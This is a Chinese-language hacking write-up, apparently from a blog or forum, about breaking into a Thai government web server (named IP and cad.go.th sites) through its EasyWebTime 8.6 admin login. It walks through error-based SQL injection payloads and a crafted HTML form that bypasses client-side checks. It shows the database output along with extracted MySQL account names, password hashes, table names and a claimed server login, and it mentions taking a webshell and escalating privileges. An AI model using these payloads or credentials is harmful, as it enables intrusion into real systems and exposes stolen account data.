看了一个泰国政府的网站被伊朗的黑客挂页,上面写着
“Your Box 0wn3z By Behrooz_Ice - Q7x -Sha2ow -Virangar -Ali_Eagle -iman_taktaz - Satanic2000”
“We Love Iran”
“Ashiyane Digital Security Team”
这样的话云云。
下面我就讲讲怎么捅了他们的PP(http://203.154.183.18/ash_hack.htm)
网站服务器ip为:203.154.183.18上面一共有大约一百多个xx.cad.go.th(泰国政府域名后缀)的网站
包括主域名:www.cad.go.th(www.cad.go.th/webadmin/)
我先是看了看上面站的构架,基本上都是一个模板出来的,似乎有点脚本问题,不过不从这边下手。直接访问ip可以看到一个管理后台
看了看这个后台,上面写着EasyWebTime 8.6,不知道是什么东西。然后我就用
用户名:admin'or 1=1# 密码任意123456登陆,得到如下回显:
INSERT INTO log_user (log_date , log_time , log_mid , log_user , log_date_text , log_ip , log_module , log_module_detail , log_detail ) VALUES ('2011-11-19', '10:39:41', '', 'admin'or 1=1#', '19/11/2011 10:39:41', '24.77.19.26', 'login', 'login', 'เข้าสู่ระบบ')
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
关键的地方不是这个INSERT INTO这个错误,关键是
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
这个地方,说明后台有POST注入,而且有数据库错误回显。
这样的话,构建一个SQL注入的POST语句即可,通过错误回显来注入出想要的信息。
错误回显注入很简单,套公式就行了
用户名填写:
admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b#
密码任意,点击登陆,提示用户名错误
估计是Javascript在作怪,绕过这个很简单,考虑到后面注入的简便性,干脆写了一个html文档:
<form name="form1" method="post" action="http://203.154.183.18/login.php">
<textarea rows="5" style="font-family:Times New Roman;font-size:14pt;" cols="80" name="EWT_User">admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() from mysql.user limit 0,1))a from information_schema.tables group by a)b#</textarea>
<input name="EWT_Password" type="password" class="texfield" id="EWT_Password" size="22" value="xxxx" />
<input name="Submit" type="submit" class="submit" value="Login" />
<input name="Flag" type="hidden" id="Flag" value="Login" />
<input name="password_hidden" type="password" style="display:none" value="Welcome" size="10" />
<input name="password_hidden" type="password" style="display:none" value="Welcome" size="10" />
<input name="password_hidden" type="password" style="display:none" value="Welcome" size="10" />
</form>
其实很简单,line 1里面的method表示提交方法为POST,后面的action为提交到的地址,这是从登陆页面上面直接扒下来的,但是action这个地址是完整的url地址。再往后面的就比较简单看了,保存为xx.html然后访问,在第一个文本框中输入注入语句即可。
注入语句是这样的:
admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() from mysql.user limit 0,1))a from information_schema.tables group by a)b#
于是得到了回显如下:
SELECT * FROM user_info WHERE EWT_User = 'admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() from mysql.user limit 0,1))a from information_schema.tables group by a)b#' AND EWT_Pass = 'ea416ed0759d46a8de58f63a59077499' AND EWT_Status = 'Y'
Duplicate entry '[email protected]' for key 1
后面的Duplicate entry '[email protected]' for key 1就是想要的注入结果(去掉前面的固定数字'1')
注入语句中的
select user() from mysql.user limit 0,1
换成想要的注入语句即可,例如:
select user from mysql.user where host='%' limit 0,1
复制代码
因为每次注入得到的信息只有一条,所以比较吃力
但是最后我注入总结的信息如下:
mysql账户:
用户名: 密码哈希
kk *8B9BA157688A49AFBE7513677DCD4F7C43257018 %
bizpoten *7F6E575FAD18674CADD3B8495C79FBA5B58090D1//!2QwAsZx %
webboard *51E610BE77CF0F81D2861AF180B496D1CA2A7637 localhost
root 密码空 127.0.0.1
数据库中得数据表段:
admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1))a from information_schema.tables group by a)b#
大概有70多个,中间跳着过去的,没把表全列出来,具体我忘了,最后面的user_info引起了我的注意:
amphur,article_list,block,block_text,blog_category,blog_comment,org_type,user_info
最后得到服务器的203.154.183.18的登录名和密码为:template/template
取到webshell也就不难了
当然,服务器是windows,装了卡巴斯基,国内的360根本就不是和卡巴斯基一个档次的,提权颇费周折